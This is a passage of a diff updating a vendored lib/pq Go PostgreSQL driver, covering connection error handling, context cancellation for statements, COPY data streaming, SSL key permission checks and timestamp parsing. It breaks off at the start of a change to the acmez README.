= errors.New("pq: Private key has world access. Permissions should be u=rw,g=r (0640) if owned by root, or u=rw (0600), or less") + + ErrCouldNotDetectUsername = errors.New("pq: Could not detect default username. Please provide one explicitly") errUnexpectedReady = errors.New("unexpected ReadyForQuery") errNoRowsAffected = errors.New("no RowsAffected available after the empty statement") @@ -140,9 +142,10 @@ type conn struct { saveMessageType byte saveMessageBuffer []byte - // If true, this connection is bad and all public-facing functions should - // return ErrBadConn. - bad *atomic.Value + // If an error is set, this connection is bad and all public-facing + // functions should return the appropriate error by calling get() + // (ErrBadConn) or getForNext(). + err syncErr // If set, this connection should never use the binary format when // receiving query results from prepared statements. Only provided for @@ -166,6 +169,40 @@ type conn struct { gss GSS } +type syncErr struct { + err error + sync.Mutex +} + +// Return ErrBadConn if connection is bad. +func (e *syncErr) get() error { + e.Lock() + defer e.Unlock() + if e.err != nil { + return driver.ErrBadConn + } + return nil +} + +// Return the error set on the connection. Currently only used by rows.Next. +func (e *syncErr) getForNext() error { + e.Lock() + defer e.Unlock() + return e.err +} + +// Set error, only if it isn't set yet. +func (e *syncErr) set(err error) { + if err == nil { + panic("attempt to set nil err") + } + e.Lock() + defer e.Unlock() + if e.err == nil { + e.err = err + } +} + // Handle driver-side settings in parsed connection string. func (cn *conn) handleDriverSettings(o values) (err error) { boolSetting := func(key string, val *bool) error { @@ -287,7 +324,7 @@ func DialOpen(d Dialer, dsn string) (_ driver.Conn, err error) { if err != nil { return nil, err } - c.dialer = d + c.Dialer(d) return c.open(context.Background()) } @@ -298,14 +335,17 @@ func (c *Connector) open(ctx context.Context) (cn *conn, err error) { // the user. defer errRecoverNoErrBadConn(&err) - o := c.opts + // Create a new values map (copy). This makes it so maps in different + // connections do not reference the same underlying data structure, so it + // is safe for multiple connections to concurrently write to their opts. + o := make(values) + for k, v := range c.opts { + o[k] = v + } - bad := &atomic.Value{} - bad.Store(false) cn = &conn{ opts: o, dialer: c.dialer, - bad: bad, } err = cn.handleDriverSettings(o) if err != nil { @@ -510,22 +550,9 @@ func (cn *conn) isInTransaction() bool { cn.txnStatus == txnStatusInFailedTransaction } -func (cn *conn) setBad() { - if cn.bad != nil { - cn.bad.Store(true) - } -} - -func (cn *conn) getBad() bool { - if cn.bad != nil { - return cn.bad.Load().(bool) - } - return false -} - func (cn *conn) checkIsInTransaction(intxn bool) { if cn.isInTransaction() != intxn { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected transaction status %v", cn.txnStatus) } } @@ -535,8 +562,8 @@ func (cn *conn) Begin() (_ driver.Tx, err error) { } func (cn *conn) begin(mode string) (_ driver.Tx, err error) { - if cn.getBad() { - return nil, driver.ErrBadConn + if err := cn.err.get(); err != nil { + return nil, err } defer cn.errRecover(&err) @@ -546,11 +573,11 @@ func (cn *conn) begin(mode string) (_ driver.Tx, err error) { return nil, err } if commandTag != "BEGIN" { - cn.setBad() + cn.err.set(driver.ErrBadConn) return nil, fmt.Errorf("unexpected command tag %s", commandTag) } if cn.txnStatus != txnStatusIdleInTransaction { - cn.setBad() + cn.err.set(driver.ErrBadConn) return nil, fmt.Errorf("unexpected transaction status %v", cn.txnStatus) } return cn, nil @@ -564,8 +591,8 @@ func (cn *conn) closeTxn() { func (cn *conn) Commit() (err error) { defer cn.closeTxn() - if cn.getBad() { - return driver.ErrBadConn + if err := cn.err.get(); err != nil { + return err } defer cn.errRecover(&err) @@ -586,12 +613,12 @@ func (cn *conn) Commit() (err error) { _, commandTag, err := cn.simpleExec("COMMIT") if err != nil { if cn.isInTransaction() { - cn.setBad() + cn.err.set(driver.ErrBadConn) } return err } if commandTag != "COMMIT" { - cn.setBad() + cn.err.set(driver.ErrBadConn) return fmt.Errorf("unexpected command tag %s", commandTag) } cn.checkIsInTransaction(false) @@ -600,8 +627,8 @@ func (cn *conn) Commit() (err error) { func (cn *conn) Rollback() (err error) { defer cn.closeTxn() - if cn.getBad() { - return driver.ErrBadConn + if err := cn.err.get(); err != nil { + return err } defer cn.errRecover(&err) return cn.rollback() @@ -612,7 +639,7 @@ func (cn *conn) rollback() (err error) { _, commandTag, err := cn.simpleExec("ROLLBACK") if err != nil { if cn.isInTransaction() { - cn.setBad() + cn.err.set(driver.ErrBadConn) } return err } @@ -652,7 +679,7 @@ func (cn *conn) simpleExec(q string) (res driver.Result, commandTag string, err case 'T', 'D': // ignore any results default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unknown response for simple query: %q", t) } } @@ -674,7 +701,7 @@ func (cn *conn) simpleQuery(q string) (res *rows, err error) { // the user can close, though, to avoid connections from being // leaked. A "rows" with done=true works fine for that purpose. if err != nil { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected message %q in simple query execution", t) } if res == nil { @@ -701,7 +728,7 @@ func (cn *conn) simpleQuery(q string) (res *rows, err error) { err = parseError(r) case 'D': if res == nil { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected DataRow in simple query execution") } // the query didn't fail; kick off to Next @@ -716,7 +743,7 @@ func (cn *conn) simpleQuery(q string) (res *rows, err error) { // To work around a bug in QueryRow in Go 1.2 and earlier, wait // until the first DataRow has been received. default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unknown response for simple query: %q", t) } } @@ -809,8 +836,8 @@ func (cn *conn) prepareTo(q, stmtName string) *stmt { } func (cn *conn) Prepare(q string) (_ driver.Stmt, err error) { - if cn.getBad() { - return nil, driver.ErrBadConn + if err := cn.err.get(); err != nil { + return nil, err } defer cn.errRecover(&err) @@ -848,8 +875,8 @@ func (cn *conn) Query(query string, args []driver.Value) (driver.Rows, error) { } func (cn *conn) query(query string, args []driver.Value) (_ *rows, err error) { - if cn.getBad() { - return nil, driver.ErrBadConn + if err := cn.err.get(); err != nil { + return nil, err } if cn.inCopy { return nil, errCopyInProgress @@ -882,8 +909,8 @@ func (cn *conn) query(query string, args []driver.Value) (_ *rows, err error) { // Implement the optional "Execer" interface for one-shot queries func (cn *conn) Exec(query string, args []driver.Value) (res driver.Result, err error) { - if cn.getBad() { - return nil, driver.ErrBadConn + if err := cn.err.get(); err != nil { + return nil, err } defer cn.errRecover(&err) @@ -954,7 +981,7 @@ func (cn *conn) sendSimpleMessage(typ byte) (err error) { // the message yourself. func (cn *conn) saveMessage(typ byte, buf *readBuf) { if cn.saveMessageType != 0 { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected saveMessageType %d", cn.saveMessageType) } cn.saveMessageType = typ @@ -1100,7 +1127,7 @@ func isDriverSetting(key string) bool { return true case "password": return true - case "sslmode", "sslcert", "sslkey", "sslrootcert": + case "sslmode", "sslcert", "sslkey", "sslrootcert", "sslinline": return true case "fallback_application_name": return true @@ -1324,8 +1351,8 @@ func (st *stmt) Close() (err error) { if st.closed { return nil } - if st.cn.getBad() { - return driver.ErrBadConn + if err := st.cn.err.get(); err != nil { + return err } defer st.cn.errRecover(&err) @@ -1338,14 +1365,14 @@ func (st *stmt) Close() (err error) { t, _ := st.cn.recv1() if t != '3' { - st.cn.setBad() + st.cn.err.set(driver.ErrBadConn) errorf("unexpected close response: %q", t) } st.closed = true t, r := st.cn.recv1() if t != 'Z' { - st.cn.setBad() + st.cn.err.set(driver.ErrBadConn) errorf("expected ready for query, but got: %q", t) } st.cn.processReadyForQuery(r) @@ -1354,8 +1381,12 @@ func (st *stmt) Close() (err error) { } func (st *stmt) Query(v []driver.Value) (r driver.Rows, err error) { - if st.cn.getBad() { - return nil, driver.ErrBadConn + return st.query(v) +} + +func (st *stmt) query(v []driver.Value) (r *rows, err error) { + if err := st.cn.err.get(); err != nil { + return nil, err } defer st.cn.errRecover(&err) @@ -1367,8 +1398,8 @@ func (st *stmt) Query(v []driver.Value) (r driver.Rows, err error) { } func (st *stmt) Exec(v []driver.Value) (res driver.Result, err error) { - if st.cn.getBad() { - return nil, driver.ErrBadConn + if err := st.cn.err.get(); err != nil { + return nil, err } defer st.cn.errRecover(&err) @@ -1454,7 +1485,7 @@ func (cn *conn) parseComplete(commandTag string) (driver.Result, string) { if affectedRows == nil && strings.HasPrefix(commandTag, "INSERT ") { parts := strings.Split(commandTag, " ") if len(parts) != 3 { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected INSERT command tag %s", commandTag) } affectedRows = &parts[len(parts)-1] @@ -1466,7 +1497,7 @@ func (cn *conn) parseComplete(commandTag string) (driver.Result, string) { } n, err := strconv.ParseInt(*affectedRows, 10, 64) if err != nil { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("could not parse commandTag: %s", err) } return driver.RowsAffected(n), commandTag @@ -1533,8 +1564,8 @@ func (rs *rows) Next(dest []driver.Value) (err error) { } conn := rs.cn - if conn.getBad() { - return driver.ErrBadConn + if err := conn.err.getForNext(); err != nil { + return err } defer conn.errRecover(&err) @@ -1558,7 +1589,7 @@ func (rs *rows) Next(dest []driver.Value) (err error) { case 'D': n := rs.rb.int16() if err != nil { - conn.setBad() + conn.err.set(driver.ErrBadConn) errorf("unexpected DataRow after error %s", err) } if n < len(dest) { @@ -1725,10 +1756,9 @@ func (cn *conn) processParameterStatus(r *readBuf) { case "server_version": var major1 int var major2 int - var minor int - _, err = fmt.Sscanf(r.string(), "%d.%d.%d", &major1, &major2, &minor) + _, err = fmt.Sscanf(r.string(), "%d.%d", &major1, &major2) if err == nil { - cn.parameterStatus.serverVersion = major1*10000 + major2*100 + minor + cn.parameterStatus.serverVersion = major1*10000 + major2*100 } case "TimeZone": @@ -1753,7 +1783,7 @@ func (cn *conn) readReadyForQuery() { cn.processReadyForQuery(r) return default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected message %q; expected ReadyForQuery", t) } } @@ -1773,7 +1803,7 @@ func (cn *conn) readParseResponse() { cn.readReadyForQuery() panic(err) default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected Parse response %q", t) } } @@ -1798,7 +1828,7 @@ func (cn *conn) readStatementDescribeResponse() (paramTyps []oid.Oid, colNames [ cn.readReadyForQuery() panic(err) default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected Describe statement response %q", t) } } @@ -1816,7 +1846,7 @@ func (cn *conn) readPortalDescribeResponse() rowsHeader { cn.readReadyForQuery() panic(err) default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected Describe response %q", t) } panic("not reached") @@ -1832,7 +1862,7 @@ func (cn *conn) readBindResponse() { cn.readReadyForQuery() panic(err) default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected Bind response %q", t) } } @@ -1859,7 +1889,7 @@ func (cn *conn) postExecuteWorkaround() { cn.saveMessage(t, r) return default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected message during extended query execution: %q", t) } } @@ -1872,7 +1902,7 @@ func (cn *conn) readExecuteResponse(protocolState string) (res driver.Result, co switch t { case 'C': if err != nil { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected CommandComplete after error %s", err) } res, commandTag = cn.parseComplete(r.string()) @@ -1886,7 +1916,7 @@ func (cn *conn) readExecuteResponse(protocolState string) (res driver.Result, co err = parseError(r) case 'T', 'D', 'I': if err != nil { - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unexpected %q after error %s", t, err) } if t == 'I' { @@ -1894,7 +1924,7 @@ func (cn *conn) readExecuteResponse(protocolState string) (res driver.Result, co } // ignore any results default: - cn.setBad() + cn.err.set(driver.ErrBadConn) errorf("unknown %s response: %q", protocolState, t) } } diff --git a/vendor/github.com/lib/pq/conn_go18.go b/vendor/github.com/lib/pq/conn_go18.go index 8cab67c9d..63d4ca6aa 100644 --- a/vendor/github.com/lib/pq/conn_go18.go +++ b/vendor/github.com/lib/pq/conn_go18.go @@ -7,10 +7,13 @@ import ( "fmt" "io" "io/ioutil" - "sync/atomic" "time" ) +const ( + watchCancelDialContextTimeout = time.Second * 10 +) + // Implement the "QueryerContext" interface func (cn *conn) QueryContext(ctx context.Context, query string, args []driver.NamedValue) (driver.Rows, error) { list := make([]driver.Value, len(args)) @@ -43,6 +46,14 @@ func (cn *conn) ExecContext(ctx context.Context, query string, args []driver.Nam return cn.Exec(query, list) } +// Implement the "ConnPrepareContext" interface +func (cn *conn) PrepareContext(ctx context.Context, query string) (driver.Stmt, error) { + if finish := cn.watchCancel(ctx); finish != nil { + defer finish() + } + return cn.Prepare(query) +} + // Implement the "ConnBeginTx" interface func (cn *conn) BeginTx(ctx context.Context, opts driver.TxOptions) (driver.Tx, error) { var mode string @@ -103,13 +114,13 @@ func (cn *conn) watchCancel(ctx context.Context) func() { } // Set the connection state to bad so it does not get reused. - cn.setBad() + cn.err.set(ctx.Err()) // At this point the function level context is canceled, // so it must not be used for the additional network // request to cancel the query. // Create a new context to pass into the dial. - ctxCancel, cancel := context.WithTimeout(context.Background(), time.Second*10) + ctxCancel, cancel := context.WithTimeout(context.Background(), watchCancelDialContextTimeout) defer cancel() _ = cn.cancel(ctxCancel) @@ -119,7 +130,7 @@ func (cn *conn) watchCancel(ctx context.Context) func() { return func() { select { case <-finished: - cn.setBad() + cn.err.set(ctx.Err()) cn.Close() case finished <- struct{}{}: } @@ -129,20 +140,26 @@ func (cn *conn) watchCancel(ctx context.Context) func() { } func (cn *conn) cancel(ctx context.Context) error { - c, err := dial(ctx, cn.dialer, cn.opts) + // Create a new values map (copy). This makes sure the connection created + // in this method cannot write to the same underlying data, which could + // cause a concurrent map write panic. This is necessary because cancel + // is called from a goroutine in watchCancel. + o := make(values) + for k, v := range cn.opts { + o[k] = v + } + + c, err := dial(ctx, cn.dialer, o) if err != nil { return err } defer c.Close() { - bad := &atomic.Value{} - bad.Store(false) can := conn{ - c: c, - bad: bad, + c: c, } - err = can.ssl(cn.opts) + err = can.ssl(o) if err != nil { return err } @@ -163,3 +180,68 @@ func (cn *conn) cancel(ctx context.Context) error { return err } } + +// Implement the "StmtQueryContext" interface +func (st *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) { + list := make([]driver.Value, len(args)) + for i, nv := range args { + list[i] = nv.Value + } + finish := st.watchCancel(ctx) + r, err := st.query(list) + if err != nil { + if finish != nil { + finish() + } + return nil, err + } + r.finish = finish + return r, nil +} + +// Implement the "StmtExecContext" interface +func (st *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) { + list := make([]driver.Value, len(args)) + for i, nv := range args { + list[i] = nv.Value + } + + if finish := st.watchCancel(ctx); finish != nil { + defer finish() + } + + return st.Exec(list) +} + +// watchCancel is implemented on stmt in order to not mark the parent conn as bad +func (st *stmt) watchCancel(ctx context.Context) func() { + if done := ctx.Done(); done != nil { + finished := make(chan struct{}) + go func() { + select { + case <-done: + // At this point the function level context is canceled, + // so it must not be used for the additional network + // request to cancel the query. + // Create a new context to pass into the dial. + ctxCancel, cancel := context.WithTimeout(context.Background(), watchCancelDialContextTimeout) + defer cancel() + + _ = st.cancel(ctxCancel) + finished <- struct{}{} + case <-finished: + } + }() + return func() { + select { + case <-finished: + case finished <- struct{}{}: + } + } + } + return nil +} + +func (st *stmt) cancel(ctx context.Context) error { + return st.cn.cancel(ctx) +} diff --git a/vendor/github.com/lib/pq/connector.go b/vendor/github.com/lib/pq/connector.go index d7d472615..1145e1225 100644 --- a/vendor/github.com/lib/pq/connector.go +++ b/vendor/github.com/lib/pq/connector.go @@ -27,6 +27,11 @@ func (c *Connector) Connect(ctx context.Context) (driver.Conn, error) { return c.open(ctx) } +// Dialer allows change the dialer used to open connections. +func (c *Connector) Dialer(dialer Dialer) { + c.dialer = dialer +} + // Driver returns the underlying driver of this Connector. func (c *Connector) Driver() driver.Driver { return &Driver{} diff --git a/vendor/github.com/lib/pq/copy.go b/vendor/github.com/lib/pq/copy.go index bb3cbd7b9..2f5c1ec8a 100644 --- a/vendor/github.com/lib/pq/copy.go +++ b/vendor/github.com/lib/pq/copy.go @@ -1,6 +1,7 @@ package pq import ( + "context" "database/sql/driver" "encoding/binary" "errors" @@ -49,12 +50,14 @@ type copyin struct { buffer []byte rowData chan []byte done chan bool - driver.Result closed bool - sync.Mutex // guards err - err error + mu struct { + sync.Mutex + err error + driver.Result + } } const ciBufferSize = 64 * 1024 @@ -98,13 +101,13 @@ awaitCopyInResponse: err = parseError(r) case 'Z': if err == nil { - ci.setBad() + ci.setBad(driver.ErrBadConn) errorf("unexpected ReadyForQuery in response to COPY") } cn.processReadyForQuery(r) return nil, err default: - ci.setBad() + ci.setBad(driver.ErrBadConn) errorf("unknown response for copy query: %q", t) } } @@ -123,7 +126,7 @@ awaitCopyInResponse: cn.processReadyForQuery(r) return nil, err default: - ci.setBad() + ci.setBad(driver.ErrBadConn) errorf("unknown response for CopyFail: %q", t) } } @@ -144,7 +147,7 @@ func (ci *copyin) resploop() { var r readBuf t, err := ci.cn.recvMessage(&r) if err != nil { - ci.setBad() + ci.setBad(driver.ErrBadConn) ci.setError(err) ci.done <- true return @@ -166,7 +169,7 @@ func (ci *copyin) resploop() { err := parseError(&r) ci.setError(err) default: - ci.setBad() + ci.setBad(driver.ErrBadConn) ci.setError(fmt.Errorf("unknown response during CopyIn: %q", t)) ci.done <- true return @@ -174,46 +177,41 @@ func (ci *copyin) resploop() { } } -func (ci *copyin) setBad() { - ci.Lock() - ci.cn.setBad() - ci.Unlock() +func (ci *copyin) setBad(err error) { + ci.cn.err.set(err) } -func (ci *copyin) isBad() bool { - ci.Lock() - b := ci.cn.getBad() - ci.Unlock() - return b +func (ci *copyin) getBad() error { + return ci.cn.err.get() } -func (ci *copyin) isErrorSet() bool { - ci.Lock() - isSet := (ci.err != nil) - ci.Unlock() - return isSet +func (ci *copyin) err() error { + ci.mu.Lock() + err := ci.mu.err + ci.mu.Unlock() + return err } // setError() sets ci.err if one has not been set already. Caller must not be // holding ci.Mutex. func (ci *copyin) setError(err error) { - ci.Lock() - if ci.err == nil { - ci.err = err + ci.mu.Lock() + if ci.mu.err == nil { + ci.mu.err = err } - ci.Unlock() + ci.mu.Unlock() } func (ci *copyin) setResult(result driver.Result) { - ci.Lock() - ci.Result = result - ci.Unlock() + ci.mu.Lock() + ci.mu.Result = result + ci.mu.Unlock() } func (ci *copyin) getResult() driver.Result { - ci.Lock() - result := ci.Result - ci.Unlock() + ci.mu.Lock() + result := ci.mu.Result + ci.mu.Unlock() if result == nil { return driver.RowsAffected(0) } @@ -240,13 +238,13 @@ func (ci *copyin) Exec(v []driver.Value) (r driver.Result, err error) { return nil, errCopyInClosed } - if ci.isBad() { - return nil, driver.ErrBadConn + if err := ci.getBad(); err != nil { + return nil, err } defer ci.cn.errRecover(&err) - if ci.isErrorSet() { - return nil, ci.err + if err := ci.err(); err != nil { + return nil, err } if len(v) == 0 { @@ -276,14 +274,51 @@ func (ci *copyin) Exec(v []driver.Value) (r driver.Result, err error) { return driver.RowsAffected(0), nil } +// CopyData inserts a raw string into the COPY stream. The insert is +// asynchronous and CopyData can return errors from previous CopyData calls to +// the same COPY stmt. +// +// You need to call Exec(nil) to sync the COPY stream and to get any +// errors from pending data, since Stmt.Close() doesn't return errors +// to the user. +func (ci *copyin) CopyData(ctx context.Context, line string) (r driver.Result, err error) { + if ci.closed { + return nil, errCopyInClosed + } + + if finish := ci.cn.watchCancel(ctx); finish != nil { + defer finish() + } + + if err := ci.getBad(); err != nil { + return nil, err + } + defer ci.cn.errRecover(&err) + + if err := ci.err(); err != nil { + return nil, err + } + + ci.buffer = append(ci.buffer, []byte(line)...) + ci.buffer = append(ci.buffer, '\n') + + if len(ci.buffer) > ciBufferFlushSize { + ci.flush(ci.buffer) + // reset buffer, keep bytes for message identifier and length + ci.buffer = ci.buffer[:5] + } + + return driver.RowsAffected(0), nil +} + func (ci *copyin) Close() (err error) { if ci.closed { // Don't do anything, we're already closed return nil } ci.closed = true - if ci.isBad() { - return driver.ErrBadConn + if err := ci.getBad(); err != nil { + return err } defer ci.cn.errRecover(&err) @@ -299,8 +334,7 @@ func (ci *copyin) Close() (err error) { <-ci.done ci.cn.inCopy = false - if ci.isErrorSet() { - err = ci.err + if err := ci.err(); err != nil { return err } return nil diff --git a/vendor/github.com/lib/pq/encode.go b/vendor/github.com/lib/pq/encode.go index c4dafe270..bffe6096a 100644 --- a/vendor/github.com/lib/pq/encode.go +++ b/vendor/github.com/lib/pq/encode.go @@ -200,11 +200,17 @@ func appendEscapedText(buf []byte, text string) []byte { func mustParse(f string, typ oid.Oid, s []byte) time.Time { str := string(s) - // check for a 30-minute-offset timezone - if (typ == oid.T_timestamptz || typ == oid.T_timetz) && - str[len(str)-3] == ':' { - f += ":00" + // Check for a minute and second offset in the timezone. + if typ == oid.T_timestamptz || typ == oid.T_timetz { + for i := 3; i <= 6; i += 3 { + if str[len(str)-i] == ':' { + f += ":00" + continue + } + break + } } + // Special case for 24:00 time. // Unfortunately, golang does not parse 24:00 as a proper time. // In this case, we want to try "round to the next day", to differentiate. @@ -416,7 +422,7 @@ func ParseTimestamp(currentLocation *time.Location, str string) (time.Time, erro if remainderIdx < len(str) && str[remainderIdx] == '.' { fracStart := remainderIdx + 1 - fracOff := strings.IndexAny(str[fracStart:], "-+ ") + fracOff := strings.IndexAny(str[fracStart:], "-+Z ") if fracOff < 0 { fracOff = len(str) - fracStart } @@ -426,7 +432,7 @@ func ParseTimestamp(currentLocation *time.Location, str string) (time.Time, erro remainderIdx += fracOff + 1 } if tzStart := remainderIdx; tzStart < len(str) && (str[tzStart] == '-' || str[tzStart] == '+') { - // time zone separator is always '-' or '+' (UTC is +00) + // time zone separator is always '-' or '+' or 'Z' (UTC is +00) var tzSign int switch c := str[tzStart]; c { case '-': @@ -448,7 +454,11 @@ func ParseTimestamp(currentLocation *time.Location, str string) (time.Time, erro remainderIdx += 3 } tzOff = tzSign * ((tzHours * 60 * 60) + (tzMin * 60) + tzSec) + } else if tzStart < len(str) && str[tzStart] == 'Z' { + // time zone Z separator indicates UTC is +00 + remainderIdx += 1 } + var isoYear int if isBC { @@ -553,7 +563,7 @@ func parseBytea(s []byte) (result []byte, err error) { if len(s) < 4 { return nil, fmt.Errorf("invalid bytea sequence %v", s) } - r, err := strconv.ParseInt(string(s[1:4]), 8, 9) + r, err := strconv.ParseUint(string(s[1:4]), 8, 8) if err != nil { return nil, fmt.Errorf("could not parse bytea value: %s", err.Error()) } diff --git a/vendor/github.com/lib/pq/error.go b/vendor/github.com/lib/pq/error.go index c19c349f1..21b3d933c 100644 --- a/vendor/github.com/lib/pq/error.go +++ b/vendor/github.com/lib/pq/error.go @@ -402,6 +402,11 @@ func (err *Error) Fatal() bool { return err.Severity == Efatal } +// SQLState returns the SQLState of the error. +func (err *Error) SQLState() string { + return string(err.Code) +} + // Get implements the legacy PGError interface. New code should use the fields // of the Error struct directly. func (err *Error) Get(k byte) (v string) { @@ -484,7 +489,7 @@ func (cn *conn) errRecover(err *error) { case nil: // Do nothing case runtime.Error: - cn.setBad() + cn.err.set(driver.ErrBadConn) panic(v) case *Error: if v.Fatal() { @@ -493,26 +498,26 @@ func (cn *conn) errRecover(err *error) { *err = v } case *net.OpError: - cn.setBad() + cn.err.set(driver.ErrBadConn) *err = v case *safeRetryError: - cn.setBad() + cn.err.set(driver.ErrBadConn) *err = driver.ErrBadConn case error: - if v == io.EOF || v.(error).Error() == "remote error: handshake failure" { + if v == io.EOF || v.Error() == "remote error: handshake failure" { *err = driver.ErrBadConn } else { *err = v } default: - cn.setBad() + cn.err.set(driver.ErrBadConn) panic(fmt.Sprintf("unknown error: %#v", e)) } // Any time we return ErrBadConn, we need to remember it since *Tx doesn't // mark the connection bad in database/sql. if *err == driver.ErrBadConn { - cn.setBad() + cn.err.set(driver.ErrBadConn) } } diff --git a/vendor/github.com/lib/pq/notice.go b/vendor/github.com/lib/pq/notice.go index 01dd8c723..70ad122a7 100644 --- a/vendor/github.com/lib/pq/notice.go +++ b/vendor/github.com/lib/pq/notice.go @@ -1,3 +1,4 @@ +//go:build go1.10 // +build go1.10 package pq diff --git a/vendor/github.com/lib/pq/ssl.go b/vendor/github.com/lib/pq/ssl.go index 881c2219b..e5eb92895 100644 --- a/vendor/github.com/lib/pq/ssl.go +++ b/vendor/github.com/lib/pq/ssl.go @@ -59,9 +59,6 @@ func ssl(o values) (func(net.Conn) (net.Conn, error), error) { return nil, err } - // This pseudo-parameter is not recognized by the PostgreSQL server, so let's delete it after use. - delete(o, "sslinline") - // Accept renegotiation requests initiated by the backend. // // Renegotiation was deprecated then removed from PostgreSQL 9.5, but @@ -89,9 +86,6 @@ func sslClientCertificates(tlsConf *tls.Config, o values) error { sslinline := o["sslinline"] if sslinline == "true" { cert, err := tls.X509KeyPair([]byte(o["sslcert"]), []byte(o["sslkey"])) - // Clear out these params, in case they were to be sent to the PostgreSQL server by mistake - o["sslcert"] = "" - o["sslkey"] = "" if err != nil { return err } @@ -157,8 +151,6 @@ func sslCertificateAuthority(tlsConf *tls.Config, o values) error { var cert []byte if sslinline == "true" { - // // Clear out this param, in case it were to be sent to the PostgreSQL server by mistake - o["sslrootcert"] = "" cert = []byte(sslrootcert) } else { var err error diff --git a/vendor/github.com/lib/pq/ssl_permissions.go b/vendor/github.com/lib/pq/ssl_permissions.go index 3b7c3a2a3..d587f102e 100644 --- a/vendor/github.com/lib/pq/ssl_permissions.go +++ b/vendor/github.com/lib/pq/ssl_permissions.go @@ -1,8 +1,30 @@ +//go:build !windows // +build !windows package pq -import "os" +import ( + "errors" + "os" + "syscall" +) + +const ( + rootUserID = uint32(0) + + // The maximum permissions that a private key file owned by a regular user + // is allowed to have. This translates to u=rw. + maxUserOwnedKeyPermissions os.FileMode = 0600 + + // The maximum permissions that a private key file owned by root is allowed + // to have. This translates to u=rw,g=r. + maxRootOwnedKeyPermissions os.FileMode = 0640 +) + +var ( + errSSLKeyHasUnacceptableUserPermissions = errors.New("permissions for files not owned by root should be u=rw (0600) or less") + errSSLKeyHasUnacceptableRootPermissions = errors.New("permissions for root owned files should be u=rw,g=r (0640) or less") +) // sslKeyPermissions checks the permissions on user-supplied ssl key files. // The key file should have very little access. @@ -13,8 +35,59 @@ func sslKeyPermissions(sslkey string) error { if err != nil { return err } - if info.Mode().Perm()&0077 != 0 { - return ErrSSLKeyHasWorldPermissions + + err = hasCorrectPermissions(info) + + // return ErrSSLKeyHasWorldPermissions for backwards compatability with + // existing code. + if err == errSSLKeyHasUnacceptableUserPermissions || err == errSSLKeyHasUnacceptableRootPermissions { + err = ErrSSLKeyHasWorldPermissions } - return nil + return err +} + +// hasCorrectPermissions checks the file info (and the unix-specific stat_t +// output) to verify that the permissions on the file are correct. +// +// If the file is owned by the same user the process is running as, +// the file should only have 0600 (u=rw). If the file is owned by root, +// and the group matches the group that the process is running in, the +// permissions cannot be more than 0640 (u=rw,g=r). The file should +// never have world permissions. +// +// Returns an error when the permission check fails. +func hasCorrectPermissions(info os.FileInfo) error { + // if file's permission matches 0600, allow access. + userPermissionMask := (os.FileMode(0777) ^ maxUserOwnedKeyPermissions) + + // regardless of if we're running as root or not, 0600 is acceptable, + // so we return if we match the regular user permission mask. + if info.Mode().Perm()&userPermissionMask == 0 { + return nil + } + + // We need to pull the Unix file information to get the file's owner. + // If we can't access it, there's some sort of operating system level error + // and we should fail rather than attempting to use faulty information. + sysInfo := info.Sys() + if sysInfo == nil { + return ErrSSLKeyUnknownOwnership + } + + unixStat, ok := sysInfo.(*syscall.Stat_t) + if !ok { + return ErrSSLKeyUnknownOwnership + } + + // if the file is owned by root, we allow 0640 (u=rw,g=r) to match what + // Postgres does. + if unixStat.Uid == rootUserID { + rootPermissionMask := (os.FileMode(0777) ^ maxRootOwnedKeyPermissions) + if info.Mode().Perm()&rootPermissionMask != 0 { + return errSSLKeyHasUnacceptableRootPermissions + } + return nil + } + + return errSSLKeyHasUnacceptableUserPermissions } diff --git a/vendor/github.com/lib/pq/ssl_windows.go b/vendor/github.com/lib/pq/ssl_windows.go index 5d2c763ce..73663c8f1 100644 --- a/vendor/github.com/lib/pq/ssl_windows.go +++ b/vendor/github.com/lib/pq/ssl_windows.go @@ -1,3 +1,4 @@ +//go:build windows // +build windows package pq diff --git a/vendor/github.com/lib/pq/user_other.go b/vendor/github.com/lib/pq/user_other.go new file mode 100644 index 000000000..3dae8f557 --- /dev/null +++ b/vendor/github.com/lib/pq/user_other.go @@ -0,0 +1,10 @@ +// Package pq is a pure Go Postgres driver for the database/sql package. + +//go:build js || android || hurd || zos +// +build js android hurd zos + +package pq + +func userCurrent() (string, error) { + return "", ErrCouldNotDetectUsername +} diff --git a/vendor/github.com/lib/pq/user_posix.go b/vendor/github.com/lib/pq/user_posix.go index a51019205..5f2d439bc 100644 --- a/vendor/github.com/lib/pq/user_posix.go +++ b/vendor/github.com/lib/pq/user_posix.go @@ -1,6 +1,7 @@ // Package pq is a pure Go Postgres driver for the database/sql package. -// +build aix darwin dragonfly freebsd linux nacl netbsd openbsd plan9 solaris rumprun +//go:build aix || darwin || dragonfly || freebsd || (linux && !android) || nacl || netbsd || openbsd || plan9 || solaris || rumprun || illumos +// +build aix darwin dragonfly freebsd linux,!android nacl netbsd openbsd plan9 solaris rumprun illumos package pq diff --git a/vendor/github.com/mholt/acmez/README.md b/vendor/github.com/mholt/acmez/README.md index c9c28aaad..89e8e1ed9 100644 --- a/vendor/github.com/mholt/acmez/README.md +++ b/vendor/github.com/mholt/acmez/README.md @@ -32,14 +32,33 @@ In other words, the `acmez` package is **porcelain** while the `acme` package is - Utility functions for solving challenges - Helpers for RFC 8737 (tls-alpn-01 challenge) -The `acmez` package is "bring-your-own-solver." It provides helper utilities for http-01, dns-01, and tls-alpn-01 challenges, but does not actually solve them for you. You must write an implementation of `acmez.Solver` in order to get certificates. How this is done depends on the environment in which you're using this code. 